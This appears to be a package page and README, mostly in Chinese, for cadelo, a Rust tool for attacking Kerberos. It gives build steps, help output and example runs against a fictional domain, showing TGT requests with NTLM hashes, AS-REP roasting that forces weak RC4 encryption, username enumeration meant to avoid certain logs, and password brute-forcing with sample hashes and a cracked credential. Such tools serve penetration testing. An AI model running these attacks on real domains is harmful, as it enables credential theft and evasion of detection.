1个不稳定版本
0.0.1 | 2020年1月23日 |
---|
#11 在 #用户密码
110KB
2.5K SLoC
cadelo
cadelo是一个与Kerberos协议交互和攻击的工具,基于kerbeiros库。
兼容Linux和Windows。
仍在开发中...
构建
git clone https://gitlab.com/Zer1t0/cadelo
cd cadelo
cargo build --release
cd target/release/
./cadelo -h
AskTGT
获取Kerberos TGT
用法
$ ./cadelo asktgt -h
cadelo-asktgt
Zer1t0
Get a Kerberos TGT
USAGE:
cadelo asktgt [OPTIONS] --domain <domain> --username <username> <--password <password>|--ntlm <ntlm>|--aes-128 <aes-128>|--aes-256 <aes-256>>
FLAGS:
-h, --help Prints help information
-V, --version Prints version information
OPTIONS:
--aes-128 <aes-128> AES 128 Kerberos key of user
--aes-256 <aes-256> AES 256 Kerberos key of user
-d, --domain <domain> Domain to brute-force
-k, --kdc-ip <ip> The address of the KDC
--ntlm <ntlm> NTLM hash of user
--out-file <file> File to save TGT.
-p, --password <password> Password of user
--ticket-format <ticket-format> Format to save retrieved tickets. [default: ccache] [possible values: krb,
ccache]
-u, --username <username> Username what TGT is for
示例
使用用户密码的NTLM散列请求TGT
$ ./cadelo asktgt -d kingdom.hearts -u mickey --ntlm 7ED026C3D202555DB1F8A8BA91C67C27 --kdc-ip 10.0.0.1
[+] Saved TGT into mickey.ccache
ASREPRoast
搜索未进行Kerberos预身份验证的用户,也列举用户名。
工作原理
命令 asreproast
发送Kerberos AS-REQ请求,以发现不需要Kerberos预身份验证的用户。这允许从KDC服务器获取AS-REP响应,其中包含从用户密码派生的密钥加密的一部分。然后,工具返回此加密部分,以便在John The Ripper或Hashcat中破解。
此外,默认情况下,客户端向服务器指示允许使用AES-256、AES-128和RC4加密。因此,响应很可能使用AES-256加密,这更难破解。然而,--cipher选项允许指定要发布给服务器的加密算法,并强制使用较弱的加密算法RC4来加密响应。
最后,此工具还可以用于列举用户,因为它可以检索用户是否存在。在这种情况下,与brute命令的不同之处在于,此方法不会生成4771-Kerberos预身份验证失败类型的日志,只会生成4768-Kerberos身份验证票据(TGT)已请求类型的日志。
生成的日志
此工具在Windows域控制器中生成以下日志
用法
$ ./cadelo asreproast -h
cadelo-asreproast
AS-REP roast attack
USAGE:
cadelo asreproast [FLAGS] [OPTIONS] --domain <domain> <--username <username>|--usernames <file>>
FLAGS:
-h, --help Prints help information
--udp Use of UDP instead of TCP
-V, --version Prints version information
-v, --verbose Verbose
OPTIONS:
--cipher <cipher> Encryption algorithm requested to server. [possible values: rc4, aes128,
aes256]
--crack-format <crack-format> Format to save non preauth responses. [default: hashcat] [possible values:
hashcat, john]
-d, --domain <domain> Domain to brute-force
-k, --kdc-ip <ip> The address of the KDC
--out-file <file> File to save discovered non preauth responses. It is in hashcat or john format.
-t, --threads <threads> Number of threads [default: 1]
-u, --username <username> User to check
--usernames <file> File with username per line
示例
查找不需要Kerberos预身份验证的用户列表
$ ./cadelo asreproast -d kingdom.hearts --usernames users.txt -vv
[-] Invalid admin
[-] Invalid root
[*] Valid mickey
[-] Invalid bob
[*] Valid roxas : No Preauth
[*] To crack roxas $krb5asrep$18$roxas@KINGDOM.HEARTS:4b494e47444f4d2e484541525453726f786173$3fd92aac4926f3d92db9b224ef5e8a41a26cf689f48e65b9894d488a4ab4652811bf19cde7327325db8c0d435798f6ebe6543c19e74b618cf55658b0edfdd4e3f1a6f518468473beae9fb15c73b8b14fe6dd36e42835347d80b5fe8c77f35a6c2f7e35e273946fa85737c892b8cace5932a521011aab536f37cecf3955a6968c4ca9e19fdbcf305f705ca8f5a181fcf495831ab3dadaaaf3ed77b6df27eec1e8cfa6deeb5b4a920817d5c82eceb64bacc0d7cee790c13e2cdc4022cd9f278b29e3636542d1b778dbb34e2f15c09a2b3827da79d3e3ebd327398c1267fe98094aad3a16d79aa2ab1edf9ccfaf4d35d43b3a70b82f2255c01235b296d2097b3387ecde662c3a7e2b33089bbc7726bf03e4a77384801fbb531643d9f6a227ee3d
[*] Valid xion
== Execution summary ==
[+] 1 users without pre-auth required were discovered, good luck on crack
Brute
用于对Kerberos协议执行暴力攻击的实用程序。**小心**,因为用户账户在执行此攻击时可能会被锁定。
工作原理
《brute》命令将提供的用户名和密码组合,并测试所有可能性。这样,可以测试多个用户的唯一密码,或者一个用户的多个密码。如果发现用户密码,也会保存生成的TGT以备将来使用(可以通过--no-save-ticket标志禁用)。发现的凭证可以使用--output-passwords选项保存到文件中。
此外,通过处理Kerberos错误,该工具可以告知是否存在用户名。同样,它还可以指示用户账户是否被阻止或禁用。
最后,如果发现不需要Kerberos预认证的用户,该工具会指出这一点,并将AS-REP消息的加密部分以John the Ripper或Hashcat格式返回,以便将来破解以获取用户密码。(也可以通过使用--output-non-preauth选项将此结果保存到文件中)。
生成的日志
此工具在Windows域控制器中生成以下日志
用法
$ ./cadelo brute -h
cadelo-brute
Zer1t0
Bruteforce attack
USAGE:
cadelo brute [FLAGS] [OPTIONS] --domain <domain> <--password <password>|--passwords <file>> <--username <username>|--usernames <file>>
FLAGS:
-h, --help Prints help information
--no-save-ticket Do saved the retrieved tickets
--udp Use of UDP instead of TCP
-V, --version Prints version information
-v, --verbose Verbose
OPTIONS:
--crack-format <crack-format> Format to save non preauth responses. [default: hashcat] [possible values:
hashcat, john]
-d, --domain <domain> Domain to brute-force
-k, --kdc-ip <ip> The address of the KDC
--output-non-preauth <file> File to save discovered non preauth responses. It is in hashcat or john
format.
--output-passwords <file> File to save discovered user:password per line
-p, --password <password> Password to brute-force
--passwords <file> File with password per line
-t, --threads <threads> Number of threads [default: 1]
--ticket-format <ticket-format> Format to save retrieved tickets. [default: ccache] [possible values: krb,
ccache]
-u, --username <username> Username to brute-force
--usernames <file> File with username per line
示例
使用用户名和密码列表进行暴力破解
$ ./cadelo brute -d kingdom.hearts --usernames users.txt --passwords passwords.txt -vvv
[-] Invalid admin
[-] Invalid root
[*] Valid mickey
[-] Invalid bob
[*] Valid roxas : No Preauth
[*] To crack roxas $krb5asrep$18$roxas@KINGDOM.HEARTS:4b494e47444f4d2e484541525453726f786173$a96e2f5df8eac27e596c5719b9c8c8134ac1aaef136e2bb6f5c814b34924a625af8e1f5ad802e78d0731ab3c099ac79414c7d601a247920ecb614b45405364bf8a1cc2c7c93c8e075241aa1863976ac9b21de4c9170bffc1a438be99a328be42e2cf465a1e2c949ac716e48ddf151f40c3b452b7785287d7adfa2d96a7f8a1a1df4a1b1c6f98c64893f83864026ee3d134ed6781451dda226034d0b9659b21cb4327b3e51f6b714857a988a184783927a1ea518fe90cc4a11956df0c2d3ae946799196fcbb9e88b5cfcaa78ee04c54e1a14dcdde26465a4d5ee7c13cdc2271c9b81c0cb343d65b73bcae7c7e24bb7de9acbd1938811a913fd97a539195d397a78abe63e06c938401d186a4166d54f6a49b3e162551b7e17f31b3db3587fa76
[!] Blocked/Disabled xion
[+] STUPENDOUS mickey:Minnie1234
[+] Saved mickey ticket into mickey.ccache
== Execution summary ==
[+] Great, 1 user passwords were discovered
[+] 1 users without pre-auth required were discovered, good luck on crack
依赖项
~11MB
~189K SLoC